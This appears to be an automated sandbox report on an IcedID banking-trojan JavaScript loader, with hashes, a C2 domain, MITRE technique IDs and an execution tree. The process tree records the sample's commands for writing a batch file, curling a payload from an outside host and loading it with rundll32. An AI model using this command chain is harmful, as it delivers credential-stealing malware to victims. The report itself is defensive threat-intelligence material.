icedid | bef13d6455aa5e949c2952d609fd09e34e53b7ead3b3d84c3018e489fb1f027f

General

Target
e11d27dad9d6a484061fed8406b1b4ba.js
Size 54KB
Sample231117-dk8sdaea86
SHA256 bef13d6455aa5e949c2952d609fd09e34e53b7ead3b3d84c3018e489fb1f027f
MD5 e11d27dad9d6a484061fed8406b1b4ba
SHA1 7a97b146c0ecac61b41a267b45c66fb9ae9e26cd
SHA512 d0c0db630c0dc813898989cb437d2922e5a53c14792a3487ce560bace02ea6ea50af669e134850a2ec5ef1f3fce08a716a01f166f7b467b39ec042c38c00e1c5
SSDEEP 768:eO9Gvm/iZquBaXkiEhLGgwHi+7GobjM2Eg60cvmqr:eO9GddwHi+7xjVEvZvmI
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

icedid 548427575 banker loader trojan

Malware Config

Extracted

Family

icedid

Campaign

548427575

C2

iosninjafisk.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
3888	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3888	rundll32.exe
3888	rundll32.exe
3888	rundll32.exe
3888	rundll32.exe
3888	rundll32.exe
3888	rundll32.exe
2508	Process not Found
2508	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3888	rundll32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4848 wrote to memory of 3768	4848	wscript.exe	86
PID 4848 wrote to memory of 3768	4848	wscript.exe	86
PID 4848 wrote to memory of 2000	4848	wscript.exe	88
PID 4848 wrote to memory of 2000	4848	wscript.exe	88
PID 2000 wrote to memory of 3596	2000	cmd.exe	90
PID 2000 wrote to memory of 3596	2000	cmd.exe	90
PID 2000 wrote to memory of 1396	2000	cmd.exe	91
PID 2000 wrote to memory of 1396	2000	cmd.exe	91
PID 4848 wrote to memory of 492	4848	wscript.exe	92
PID 4848 wrote to memory of 492	4848	wscript.exe	92
PID 4848 wrote to memory of 3764	4848	wscript.exe	94
PID 4848 wrote to memory of 3764	4848	wscript.exe	94
PID 3764 wrote to memory of 2116	3764	cmd.exe	96
PID 3764 wrote to memory of 2116	3764	cmd.exe	96
PID 4848 wrote to memory of 1688	4848	wscript.exe	106
PID 4848 wrote to memory of 1688	4848	wscript.exe	106
PID 4848 wrote to memory of 3888	4848	wscript.exe	108
PID 4848 wrote to memory of 3888	4848	wscript.exe	108

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e11d27dad9d6a484061fed8406b1b4ba.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\e11d27dad9d6a484061fed8406b1b4ba.js"
  2⤵
  PID:3768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo|set /p="cu" > "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="cu" 1>"C:\Users\Admin\AppData\Local\Temp\cumque.q.bat""
    3⤵
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo rl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location >> "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  PID:492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\curl.exe
    curl "https://saogoncalomedicina.com.br/TOP/4129/320ca3f6/?cable=198832.219" --output "C:\Users\Admin\AppData\Local\Temp\\vero.q" --ssl-no-revoke --insecure --location
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\cumque.q.bat"
  2⤵
  PID:1688
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\\vero.q" scab /k redit739
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cumque.q.bat

Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
Size 170B
SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
MD5 1198fa4486b382bc05b322fe52655020
SHA1 2d72bab9a1d3fdb868a55c169cd4b30a650f6f84
SHA512 a30e51cf8ae6a6b62717d5f7ed1d0bdd32eefd3c4780a5a2d1ec7322885304c200aa1b5f8e1eedd5e7b0fa0ace384fb1452cb9c9c58bde92833772e88baa5d9f
MD5 SHA1 SHA512

Submit Download

cumque.q.bat

Path C:\Users\Admin\AppData\Local\Temp\cumque.q.bat
Size 170B
SHA256 4d7c7e32ed6a3bd24f3e2e32b2ace831349c0caace4e7c1d3fd6d065f269b8bc
MD5 1198fa4486b382bc05b322fe52655020
SHA1 2d72bab9a1d3fdb868a55c169cd4b30a650f6f84
SHA512 a30e51cf8ae6a6b62717d5f7ed1d0bdd32eefd3c4780a5a2d1ec7322885304c200aa1b5f8e1eedd5e7b0fa0ace384fb1452cb9c9c58bde92833772e88baa5d9f
MD5 SHA1 SHA512

Submit Download

vero.q

Path C:\Users\Admin\AppData\Local\Temp\vero.q
Size 356KB
SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
MD5 93c774a797a9c7dc86081e2f3758d9da
SHA1 f29dd99de519f3ceb0c65746f83428365978f7fa
SHA512 e05b3d31bb868d815d7dba7f446c30aca996b8749b63c1aea715e2efa3616a60e930dd234561cc3eefe8a9f1cfef9740c71c9bef44f5708c3d6bc3eaee6e8f26
SSDEEP 6144:OndqDim64W44od8wyW9I8RbxL2dmaWJD36apvtiAW:OQIud8wy6I8jMGtpliAW
MD5 SHA1 SHA512 SSDEEP

Submit Download

vero.q

Path C:\Users\Admin\AppData\Local\Temp\vero.q
Size 356KB
SHA256 28df6780dc48472e59dc59b449a9fc7d0e1431207014202eee2217c1e5357fac
MD5 93c774a797a9c7dc86081e2f3758d9da
SHA1 f29dd99de519f3ceb0c65746f83428365978f7fa
SHA512 e05b3d31bb868d815d7dba7f446c30aca996b8749b63c1aea715e2efa3616a60e930dd234561cc3eefe8a9f1cfef9740c71c9bef44f5708c3d6bc3eaee6e8f26
SSDEEP 6144:OndqDim64W44od8wyW9I8RbxL2dmaWJD36apvtiAW:OQIud8wy6I8jMGtpliAW
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2508-8-0x00007FFF7E3F1000-0x00007FFF7E3F2000-memory.dmp

Download

memory/2508-9-0x0000000180000000-0x0000000180009000-memory.dmp

Download

memory/2508-16-0x00007FFF7E3F1000-0x00007FFF7E3F2000-memory.dmp

Download

memory/3888-7-0x00000129C5C30000-0x00000129C5C34000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads